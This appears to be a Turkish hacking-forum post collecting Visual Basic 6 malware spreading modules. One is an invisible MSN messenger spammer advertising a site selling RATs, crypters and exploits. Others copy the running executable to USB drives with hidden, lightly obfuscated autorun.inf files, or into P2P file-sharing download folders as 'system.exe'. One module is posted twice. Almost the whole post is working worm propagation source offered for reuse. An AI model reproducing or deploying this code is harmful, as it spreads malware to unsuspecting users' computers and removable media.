Birbirinden Farklı Spread Kodları

[B][COLOR="rgb(153, 50, 204)"]Option Explicit
''''''''''''''''''''''''''''

''''''''''''''''''''''''''''

Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function MsNTiTr3SiMGöND3R Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long 'can also be used to send a msg

Dim pencerelistesi As Long
Dim pencerebilgisi As Long
Dim yazım As String
Dim acıkpencereler(3) As String
Dim kullanıcı As String
Dim GöndericegimMesaj As String
Dim tekrar As Long
Dim i, x, z, ux As Integer

Private Sub BulaşıcıOL()
GöndericegimMesaj = "http://www.Trpro.NET / Rats ,FUD Crypters ,FUD Binders ,FUD Packers ,FUD Exploits , Bu Adreste "
acıkpencereler(0) = "@"
acıkpencereler(1) = "@hotmail"
acıkpencereler(2) = "Msn"
End Sub
Private Sub BaşlığıSeç()
    pencerelistesi = GetForegroundWindow()
    pencerebilgisi = GetWindowTextLength(pencerelistesi) + 1
    yazım = Space(pencerebilgisi)
    tekrar = GetWindowText(pencerelistesi, yazım, pencerebilgisi)
    yazım = Left(yazım, pencerebilgisi - 1)
    Text1.Text = yazım
End Sub
Private Sub Form_Load()
Me.Visible = False
Call BulaşıcıOL
End Sub

Private Sub Timer1_Timer()
BaşlığıSeç
End Sub

Private Sub Text1_Change()

If InStr(1, kullanıcı, Text1.Text) <> 0 Then
Label1.Caption = "<-!Listeye Bakıyor!->"
Exit Sub
Else

For x = LBound(acıkpencereler) To UBound(acıkpencereler)

If InStr(1, Text1.Text, acıkpencereler(x)) <> 0 Then

Select Case acıkpencereler(x)

Case "@" ' @ Hotmail Kısmında Ayırt Ettiği Kısım ise
Call MsnOlayınıGerceklestir

Case "Msn"
Call MsnOlayınıGerceklestir

Case "Conver"
Call MsnOlayınıGerceklestir

End Select
End If
Next x
End If
End Sub

Private Sub MsnOlayınıGerceklestir()
'Coded By Ap0x / Trpro.NET
Dim IMWindowHWnd&
IMWindowHWnd& = FindWindow("IMWindowClass", vbNullString)
MsNTiTr3SiMGöND3R IMWindowHWnd&, &H111, &H2B1, 0&
SendKeys GöndericegimMesaj + " Trpro.NET / Turklerin YurtDışı Başarısı" & "{ENTER}" & "{ESC}"
kullanıcı = kullanıcı & " " & Text1.Text
End Sub

[/COLOR][/B]

[B][COLOR="DarkRed"]Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long

Const E1            As String = "AppData"
Const E2            As String = "ProgramFiles"
Const E3            As String = "Temp"

Const EAuto         As String = "Autorun.ini"

Dim vRegKeys(5)     As Variant
Dim vDirKeys(4)     As Variant

Private Sub Class_Initialize()
    vRegKeys(1) = "HKEY_CURRENT_USER\Software\Ares\Download.Folder"
    vRegKeys(2) = "HKEY_CURRENT_USER\Software\BearShare\General\DownloadDir"
    vRegKeys(3) = "HKEY_CURRENT_USER\Software\Kazaa\LocalContent\DownloadDir"
    vRegKeys(4) = "HKEY_CURRENT_USER\Software\Lphant\General\DownloadDir"
    vRegKeys(5) = "HKEY_CURRENT_USER\Software\Shareaza\Shareaza\Downloads\CompletePath"
    
    vDirKeys(1) = Array(Environ$(E1) & "\FrostWire\frostwire.props", "DIRECTORY_FOR_SAVING_FILES=", vbNewLine)
    vDirKeys(2) = Array(Environ$(E2) & "\eMule\config\preferences.ini", "IncomingDir=", vbNewLine)
    vDirKeys(3) = Array(Environ$(E2) & "\BitComet\BitComet.xml", "<DefaultDownloadPath>", "</DefaultDownloadPath>")
    vDirKeys(4) = Array(Environ$(E1) & "\LimeWire\limewire.props", "DIRECTORY_FOR_SAVING_FILES=", vbNewLine)
End Sub

Private Function DirExist(sPath As String) As Boolean
    If Trim(sPath) = vbNullString Then Exit Function
    If Dir(sPath, vbDirectory) <> vbNullString Then DirExist = True
End Function

Private Function RegExist(sPath As String) As Boolean
On Error GoTo Err
  Dim ws As Object

  Set ws = CreateObject("WScript.Shell")
  sPath = ws.RegRead(Path)
  
  RegExist = True
Err:
End Function

Private Function GetAppFilename() As String
    Dim hModule As Long
    Dim buffer As String * 256
    
    hModule = GetModuleHandle(App.EXEName)
    GetModuleFileName hModule, buffer, Len(buffer)
    GetAppFilename = Left$(buffer, InStr(buffer & vbNullChar, vbNullChar) - 1)
End Function

Private Function FileExist(sFile As String) As Boolean
    If Trim(sFile) = vbNullString Then Exit Function
    If Dir(sFile, vbNormal) <> vbNullString Then FileExist = True
End Function

Private Function BuildPath(sPath As String) As String
    If Right$(sPath, 1) <> Chr$(92) Then BuildPath = sPath & Chr$(92)
End Function

Private Function RegRead(Path As String) As String
On Error Resume Next
  Dim ws As Object

  Set ws = CreateObject("WScript.Shell")
  RegRead = ws.RegRead(Path)

End Function

Private Sub FileCopyTo(sPath As String)
    FileCopy GetAppFilename(), BuildPath(sPath) & GetRandomName
End Sub

Private Function GetRandomName() As String
    GetRandomName = "system.exe"
End Function

Private Function ReadFile(sFile As String) As String
    Open sFile For Binary As #1
        ReadFile = Space(FileLen(sFile))
        Get #1, , ReadFile
    Close #1
End Function

Private Function GetBetween(sText As String, sD1 As String, sD2 As String) As String
    GetBetween = Split(Split(sText, sD1)(1), sD2)(0)
End Function

Private Sub SpreadUSB()
Dim sBuffer As String * 256
Dim iGet As Integer
Dim sCur() As String

  iGet = GetLogicalDriveStrings(256, sBuffer)
  sBuffer = Mid$(sBuffer, 1, InStr(1, sBuffer, String$(2, Chr(0))))
  sCur() = Split(sBuffer, Chr(0))
  
    If iGet <> 0 Then
        For i = 0 To UBound(sCur) - 1
            If GetDriveType(sCur(i)) = 2 Then
                FileCopyTo sCur(i)
                WritePrivateProfileString "Autorun", "Open", GetRandomName(), sCur(i) & EAuto

                    SetAttr sCur(i) & GetRandomName, vbHidden
                    SetAttr sCur(i) & EAuto, vbHidden
            End If
        Next i
    End If
End Sub

Private Sub SpreadP2P()
Dim sCur As String
Dim sPath As String
Dim sDeli1 As String
Dim sDeli2 As String

    For i = 1 To UBound(vRegKeys)
        sCur = vRegKeys(i)
        sPath = RegRead(sCur)

            If DirExist(sPath) = True Then
                FileCopyTo sPath
            End If
    Next i

    For i = 1 To UBound(vDirKeys)
        sCur = vDirKeys(i)(0)
        sDeli1 = vDirKeys(i)(1)
        sDeli2 = vDirKeys(i)(2)
        
            If FileExist(sCur) = True Then
                sPath = GetBetween(ReadFile(sCur), sDeli1, sDeli2)
                FileCopyTo sPath
            End If
    Next i
End Sub

Public Sub SpreadServer(bSpreadUSB As Boolean, bSpreadP2P As Boolean)
    If bSpreadP2P = True Then: Call SpreadP2P
    If bSpreadUSB = True Then: Call SpreadUSB
End Sub[/COLOR][/B]

[B][COLOR="RoyalBlue"]'---------------------------------------------------------------------------------------
' Module : mRDrivecopy
' Date Time : 9/09/2009
' Author : haZl0oh
' Mail : [email protected]
'

'
' Purpose : copys your file to rem. drives or any other drivetype u want.Also it
'           writes some autorun.inf
' Distribution: You can freely use this code in your own
' applications, but you may not reproduce
' or publish this code on any web site,
' online service, or distribute as source
' on any media without express permission.
'
' usage: mDrive("3", "c:\", "bla.exe")
'
' Credits : Leave em :D
'
' NOTES: 5 = Removable device most likely Usb storage
'-----------------------------------------------------------
Option Explicit

Private Declare Function GetDriveType Lib "kernel32" Alias _
        "GetDriveTypeA" (ByVal nDrive As String) As Long
        Const first = "a"
        Const second = "u"
        Const third = "t"
        Const fourth = "o"
        Const fifth = "r"
        Const sixth = "u"
        Const seventh = "n."
        Const last = "inf"
Function mDrive(nType As String, nDrive As String, copyfilename As String) As Boolean
Dim sDet As String
sDet = first & second & third & fifth & sixth & seventh & last
If GetDriveType(nDrive) = nType Then
'mystuff to do
mDrive = True
Open nDrive & sDet For Binary As #1
Close #1
Open nDrive & sDet For Binary Access Write As #2
Put #2, , "[" & "aut" & "orun]" & vbCrLf & "open=" & nDrive & copyfilename
FileCopy App.Path & "\" & App.EXEName & ".exe", nDrive & copyfilename
Close #2
Else
mDrive = False
Exit Function
End If
End Function[/COLOR][/B]

[B][COLOR="Olive"]'###################################################
'# Module   : mUsbSpread
'# Author   : pringles
'# Released : 11/04/2010
'# Contact  : [email protected] [MSN]
'# Usage    : Call UsbSpread("OPEN ME.exe")
'###################################################

Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long


Public Sub Usbspread(sFileName As String)
On Error Resume Next
  Dim i As Integer, x As Integer
  Dim sAllDrives As Long
  Dim Drives() As String
  Dim sSpace As String
  Dim f As Integer
  f = FreeFile
  Dim iTime As Long
  Dim sLines(6) As String
    sLines(0) = "[autorun]"
    sLines(1) = "open=Viewfiles.exe"
    sLines(2) = "icon=%SystemRoot%\system32\SHELL32.dll,4"
    sLines(3) = "action=Open folder to view files"
    sLines(4) = "shell\open=Open"
    sLines(5) = "shell\open\command=Viewfiles.exe"
    sLines(6) = "shell\open\default=1"
    sSpace = Space(255)
    sAllDrives = GetLogicalDriveStrings(Len(sSpace), sSpace)
    Drives = Split(sSpace, Chr$(0))
    For i = 0 To UBound(Drives) - 1
        If GetDriveType(Drives(i)) = 2 Then
            FileCopy App.Path & "\" & App.EXEName & ".exe", Left$(Drives(i), 3) & sFileName
            Open Left$(Drives(i), 3) & "autorun.inf" For Output As #f
            For m = 0 To 6
                Print #f, sLines(m)
                For x = 1 To Int(Rnd * 5) + 5
                    Print #f, rndtext
                Next
            Next
            Close #f
            SetFileAttributes Left$(Drives(i), 3) & "autorun.inf", &H2
        End If
    Next i
        
End Sub

Private Function rndtext()
Dim sChars As String, i As Integer
sChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVQXYZ1234567890"
Randomize
For i = 1 To Int(Rnd * 70) + 30
    Randomize
    rndtext = rndtext & Mid(sChars, Int(Rnd * Len(sChars) + 1), 1)
Next i
End Function[/COLOR][/B]

[B][COLOR="DeepSkyBlue"]'---------------------------------------------------------------------------------------
' Module : mRDrivecopy
' Date Time : 9/09/2009
' Author : haZl0oh
' Mail : [email protected]
'
' WebPage : http://h7labs.com
' WebPage : http://hackhound.org
' WebPage : http://thegoonsquad.org
'
' Purpose : copys your file to rem. drives or any other drivetype u want.Also it
'           writes some autorun.inf
' Distribution: You can freely use this code in your own
' applications, but you may not reproduce
' or publish this code on any web site,
' online service, or distribute as source
' on any media without express permission.
'
' usage: mDrive("3", "c:\", "bla.exe")
'
' Credits : Leave em :D
'
' NOTES: 5 = Removable device most likely Usb storage
'-----------------------------------------------------------
Option Explicit

Private Declare Function GetDriveType Lib "kernel32" Alias _
        "GetDriveTypeA" (ByVal nDrive As String) As Long
        Const first = "a"
        Const second = "u"
        Const third = "t"
        Const fourth = "o"
        Const fifth = "r"
        Const sixth = "u"
        Const seventh = "n."
        Const last = "inf"
Function mDrive(nType As String, nDrive As String, copyfilename As String) As Boolean
Dim sDet As String
sDet = first & second & third & fifth & sixth & seventh & last
If GetDriveType(nDrive) = nType Then
'mystuff to do
mDrive = True
Open nDrive & sDet For Binary As #1
Close #1
Open nDrive & sDet For Binary Access Write As #2
Put #2, , "[" & "aut" & "orun]" & vbCrLf & "open=" & nDrive & copyfilename
FileCopy App.Path & "\" & App.EXEName & ".exe", nDrive & copyfilename
Close #2
Else
mDrive = False
Exit Function
End If
End Function[/COLOR][/B]